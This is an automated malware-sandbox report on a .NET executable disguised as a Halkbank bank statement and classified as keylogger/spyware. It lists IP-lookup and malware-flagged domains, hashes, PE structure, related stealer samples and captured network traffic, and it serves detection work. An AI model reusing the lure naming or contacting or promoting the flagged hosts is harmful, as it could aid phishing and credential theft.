https://reallyfreegeoip.org	Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B2F000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://scratchdreams.tk	Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B6B000.00000004.00000800.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org/xml/191.96.150.225$	Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AF8000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	Halkbank_Ekstre_20230426_075819_154055.exe, 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3221387842.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Halkbank_Ekstre_20230426_075819_154055.exe, 00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
104.21.27.85	scratchdreams.tk	United States	13335	CLOUDFLARENETUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1435266
Start date and time:	2024-05-02 11:54:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Halkbank_Ekstre_20230426_075819_154055.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 156 Number of non-executed functions: 14
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:54:51	API Interceptor	821567x Sleep call for process: Halkbank_Ekstre_20230426_075819_154055.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.177.134	Payment_Advice.exe	Get hash	malicious	Snake Keylogger	Browse
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	Pnihosiyvr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	BmLue8t2V7.exe	Get hash	malicious	Snake Keylogger	Browse
	gZIZ5eyCtS.exe	Get hash	malicious	Snake Keylogger	Browse
	PsBygexGwH.exe	Get hash	malicious	Snake Keylogger	Browse
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
104.21.27.85	DNXS-04-22.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	PO 32187 #290424.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse
	PsBygexGwH.exe	Get hash	malicious	Snake Keylogger	Browse
	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
132.226.247.73	M0uVrW4HJb.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	sample1.exe	Get hash	malicious	SeclesBot, TrojanRansom	Browse	checkip.dyndns.org/
	BmLue8t2V7.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	checkip.dyndns.org/
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	PO_287104.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.130.0
	DNXS-04-22.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.130.0
	PO 32187 #290424.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	Payment_Advice.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Payment_Advice.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.PUA.Tool.InstSrv.10.27384.30600.exe	Get hash	malicious	Unknown	Browse	193.122.130.0
	SecuriteInfo.com.PUA.Tool.InstSrv.10.27384.30600.exe	Get hash	malicious	Unknown	Browse	193.122.6.168
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
scratchdreams.tk	DNXS-04-22.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.27.85
	PO 32187 #290424.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.27.85
	Payment_Advice.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	Payment_Advice.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.169.18
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.27.85
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	PsBygexGwH.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	58208 Teklif.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
reallyfreegeoip.org	DNXS-04-22.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.67.152
	PO 32187 #290424.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.67.152
	Payment_Advice.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Payment_Advice.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.67.152
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Pnihosiyvr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	BmLue8t2V7.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	U8uFcjIjAR.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	104.21.76.57
	noa.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	GX_MV Sunshine 07483032r_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	04302024.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.91.69
	Setup (1).msi	Get hash	malicious	Unknown	Browse	172.67.132.219
	http://lib.xlsxpi.enoan2107.com:112	Get hash	malicious	Unknown	Browse	1.1.1.1
	product.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	MOQ010524Purchase order.doc	Get hash	malicious	FormBook	Browse	104.21.74.191
	cXPFfk0pBp7bEsb.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
UTMEMUS	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	sQSqM58mvl.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	128.169.78.71
	tajma.x86-20240421-1027.elf	Get hash	malicious	Mirai, Okiru	Browse	128.169.79.206
	M0uVrW4HJb.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	132.226.247.73
	74pdei4s1x.elf	Get hash	malicious	Mirai	Browse	132.192.1.144
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	kGbjOmkleq.elf	Get hash	malicious	Mirai	Browse	132.226.89.207
	BmLue8t2V7.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	VI3 Operation Guide_tech Info versionfdp.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	132.226.8.169
CLOUDFLARENETUS	U8uFcjIjAR.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	104.21.76.57
	noa.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	GX_MV Sunshine 07483032r_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	04302024.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.91.69
	Setup (1).msi	Get hash	malicious	Unknown	Browse	172.67.132.219
	http://lib.xlsxpi.enoan2107.com:112	Get hash	malicious	Unknown	Browse	1.1.1.1
	product.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	MOQ010524Purchase order.doc	Get hash	malicious	FormBook	Browse	104.21.74.191
	cXPFfk0pBp7bEsb.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	DNXS-04-22.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	PO 32187 #290424.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	G1lnGpOLK4.exe	Get hash	malicious	Njrat	Browse	172.67.177.134
	SecuriteInfo.com.Program.Unwanted.4826.21447.30958.exe	Get hash	malicious	Unknown	Browse	172.67.177.134
	SecuriteInfo.com.Program.Unwanted.4826.21447.30958.exe	Get hash	malicious	Unknown	Browse	172.67.177.134
	file.exe	Get hash	malicious	GuLoader, PXRECVOWEIWOEI Stealer	Browse	172.67.177.134
	Payment_Advice.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Payment_Advice.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	1nS3mkPS10.exe	Get hash	malicious	LimeRAT	Browse	172.67.177.134
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	noa.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.27.85
	GX_MV Sunshine 07483032r_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	JlvRdFpwOD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse	104.21.27.85
	wmiclnt.dll	Get hash	malicious	Unknown	Browse	104.21.27.85
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.27.85
	Setup (1).msi	Get hash	malicious	Unknown	Browse	104.21.27.85
	product.exe	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	cXPFfk0pBp7bEsb.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.27.85
	SOA.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.27.85
	Dekontu.lnk.lnk	Get hash	malicious	Unknown	Browse	104.21.27.85

Process:	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.3360543528332585
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Halkbank_Ekstre_20230426_075819_154055.exe
File size:	877'056 bytes
MD5:	42199f4a8e3d9fe6ce26a7d4922afec7
SHA1:	4e7547a14798f7c4520fab21ea2e34989bf27bc7
SHA256:	9745e0d21f50b1c553b40e8c353b11bb172a2bae1a83b3b9cfce26f9e01b3b89
SHA512:	3d4e92428c11f2c5df88550abae2ff0dc9dc74629b0d6943836445d594cfc2d856bd08e7c9ee51507bfd9d1a9909f97d1c21e1804637f4bacdc7bfe8d05491d2
SSDEEP:	12288:xUE2iNdlONhj8Z/SMfIi6D0zgghZPebvoI9P2WcyHdSFYQ:V1PlONV8ZrfdKcovoWuWb95
TLSH:	89154DD1F190CC9AED6B05F1AD2BA53014A3BE9D54A4810C569EBB1B76F3342209FE1F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p/...............0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	aea4accc16a3d9be

Static PE Info

General

Entrypoint:	0x48f0b2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF32F70C2 [Wed Apr 15 21:42:26 2099 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
xor byte ptr [eax], bh
xor al, 53h
cmp byte ptr [eax], bh
inc esi
dec eax
xor eax, 00000038h
add byte ptr [eax], al
add byte ptr [edi+35h], cl
inc ebp
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [41464854h+esi], dh
dec eax
xor dh, byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8f060	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x90000	0x48b00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xda000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8d23c	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x8d0e0	0x8d200	498d47208cef79fa1462fa54e058b724	False	0.9555123449955713	OpenPGP Secret Key	7.95952575244103	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x90000	0x48b00	0x48c00	39000a27b6f101937faf6ae067616188	False	0.06334903887457044	data	4.769995776757593	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xda000	0xc	0x200	a9a900f6c552168a2fb9d304e8077375	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x902e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.1798780487804878
RT_ICON	0x90948	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.2513440860215054
RT_ICON	0x90c30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.3918918918918919
RT_ICON	0x90d58	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.3200959488272921
RT_ICON	0x91c00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.33664259927797835
RT_ICON	0x924a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.2622832369942196
RT_ICON	0x92a10	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 0	0.04393141403083114
RT_ICON	0xd4a38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.18786307053941909
RT_ICON	0xd6fe0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.2453095684803002
RT_ICON	0xd8088	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.3484042553191489
RT_GROUP_ICON	0xd84f0	0x92	data	0.5753424657534246
RT_VERSION	0xd8584	0x390	data	0.42214912280701755
RT_MANIFEST	0xd8914	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 11:54:53.091320038 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:53.286735058 CEST	80	49706	132.226.247.73	192.168.2.5
May 2, 2024 11:54:53.286820889 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:53.320055008 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:53.515486956 CEST	80	49706	132.226.247.73	192.168.2.5
May 2, 2024 11:54:53.516165018 CEST	80	49706	132.226.247.73	192.168.2.5
May 2, 2024 11:54:53.567297935 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:54.891679049 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:55.088221073 CEST	80	49706	132.226.247.73	192.168.2.5
May 2, 2024 11:54:55.129764080 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:55.262778044 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.262823105 CEST	443	49708	172.67.177.134	192.168.2.5
May 2, 2024 11:54:55.262890100 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.267750025 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.267762899 CEST	443	49708	172.67.177.134	192.168.2.5
May 2, 2024 11:54:55.455048084 CEST	443	49708	172.67.177.134	192.168.2.5
May 2, 2024 11:54:55.455122948 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.464555025 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.464575052 CEST	443	49708	172.67.177.134	192.168.2.5
May 2, 2024 11:54:55.464842081 CEST	443	49708	172.67.177.134	192.168.2.5
May 2, 2024 11:54:55.504774094 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.770773888 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.816113949 CEST	443	49708	172.67.177.134	192.168.2.5
May 2, 2024 11:54:55.872474909 CEST	443	49708	172.67.177.134	192.168.2.5
May 2, 2024 11:54:55.872586012 CEST	443	49708	172.67.177.134	192.168.2.5
